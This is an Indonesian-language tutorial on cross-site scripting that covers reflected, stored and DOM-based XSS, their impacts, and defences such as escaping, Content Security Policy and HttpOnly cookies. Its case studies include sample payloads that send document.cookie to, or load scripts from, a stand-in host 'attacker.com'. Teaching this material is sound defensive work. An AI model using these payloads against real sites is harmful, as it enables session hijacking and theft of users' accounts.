Skip to content

Cross-Site Scripting (XSS)

Pengantar

Cross-Site Scripting (XSS) adalah jenis serangan keamanan web di mana penyerang menyuntikkan kode jahat (biasanya JavaScript) ke dalam konten web yang kemudian dieksekusi oleh browser korban. Serangan ini memanfaatkan kepercayaan pengguna terhadap situs web tertentu.

"XSS adalah cara hacker mencuri data atau mengendalikan sesi pengguna melalui script jahat."


Apa Itu XSS?

Definisi

XSS (Cross-Site Scripting) adalah kerentanan keamanan yang memungkinkan penyerang menyisipkan script berbahaya ke halaman web yang dilihat oleh pengguna lain.

Bagaimana XSS Bekerja?

  1. Penyerang menemukan celah input yang tidak divalidasi.
  2. Menyuntikkan script berbahaya (misalnya <script>alert('XSS')</script>).
  3. Script tersebut dieksekusi di browser korban saat mengakses halaman tersebut.
  4. Script bisa mencuri cookie, sesi, atau mengarahkan pengguna ke situs berbahaya.

Jenis-Jenis XSS

JenisNama LengkapDeskripsi
Reflected XSSNon-Persistent XSSScript disuntikkan langsung melalui permintaan HTTP (URL), biasanya lewat link phishing.
Stored XSSPersistent XSSScript disimpan di server (misalnya database) dan ditampilkan kembali kepada pengguna lain.
DOM-based XSS-Script memanipulasi DOM (Document Object Model) tanpa interaksi langsung dengan server.

Studi Kasus: Reflected XSS

Contoh

Penyerang membuat link palsu seperti:

html
http://example.com/search?q=<script>window.location='http://attacker.com/steal?cookie='+document.cookie</script>

Alur Serangan

  1. Korban dikirim link ini melalui email atau pesan.
  2. Saat korban klik, script dieksekusi di browser.
  3. Cookie sesi korban dikirim ke server penyerang.
  4. Penyerang dapat masuk sebagai korban.

Studi Kasus: Stored XSS

Contoh

Form komentar di website tidak divalidasi dengan baik. Penyerang memasukkan:

html
<script>fetch('http://attacker.com/log', { method: 'POST', body: document.cookie });</script>

Alur Serangan

  1. Komentar tersebut disimpan di database.
  2. Setiap kali pengguna mengakses halaman tersebut, script akan dieksekusi.
  3. Cookie pengguna dikirim ke server penyerang.

Studi Kasus: DOM-based XSS

Contoh

Sebuah halaman menggunakan parameter URL untuk menampilkan pesan selamat datang:

javascript
var name = location.hash.substring(1);
document.write("Welcome " + name);

Alur Serangan

Penyerang mengirimkan link:

url
http://example.com/#<script src="http://attacker.com/xss.js"></script>

Browser korban akan mengeksekusi script dari server penyerang.


Dampak Serangan XSS

DampakPenjelasan
Pencurian Cookie & SesiScript bisa mencuri informasi login dan sesi pengguna.
Deface WebHalaman web bisa dimodifikasi tampilannya.
PhishingMembuat form palsu untuk mencuri kredensial.
KeyloggingMenyadap aktivitas keyboard pengguna.
RedirectionMengarahkan pengguna ke situs berbahaya.

Cara Mencegah XSS

1. Validasi Input

  • Batasi karakter yang diperbolehkan pada semua input pengguna.
  • Gunakan whitelist karakter alih-alih blacklist.

2. Sanitasi Output

  • Gunakan escaping karakter berbahaya sebelum menampilkan data:
    • <&lt;
    • >&gt;
    • "&quot;
    • '&#x27;

3. Gunakan Content Security Policy (CSP)

  • CSP mencegah eksekusi inline-script.

  • Contoh header:

    http
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

4. Gunakan Framework Aman

  • Framework seperti React, Angular, dan Vue memiliki built-in proteksi XSS.
  • Hindari manipulasi DOM secara langsung.
  • Tambahkan atribut HttpOnly agar cookie tidak bisa diakses via JavaScript.

6. Gunakan Anti-XSS Libraries

  • PHP: htmlspecialchars()
  • Python: bleach
  • JavaScript: DOMPurify

Tips Keamanan untuk Pengembang

✅ Selalu validasi dan sanitasi setiap input pengguna
✅ Jangan pernah percaya data dari sumber eksternal
✅ Gunakan framework modern yang sudah aman
✅ Terapkan Content Security Policy (CSP)
✅ Gunakan HttpOnly dan Secure flag pada cookie
✅ Lakukan uji penetrasi dan code review secara berkala


Kesimpulan

XSS adalah salah satu ancaman keamanan paling umum di dunia web. Dengan memahami: 🔹 Jenis-jenis XSS: Reflected, Stored, DOM-based
🔹 Dampaknya: Pencurian sesi, deface, phishing
🔹 Cara mencegahnya: Validasi input, sanitasi output, CSP, HttpOnly

kamu bisa membangun aplikasi web yang lebih aman dan melindungi pengguna dari serangan berbahaya.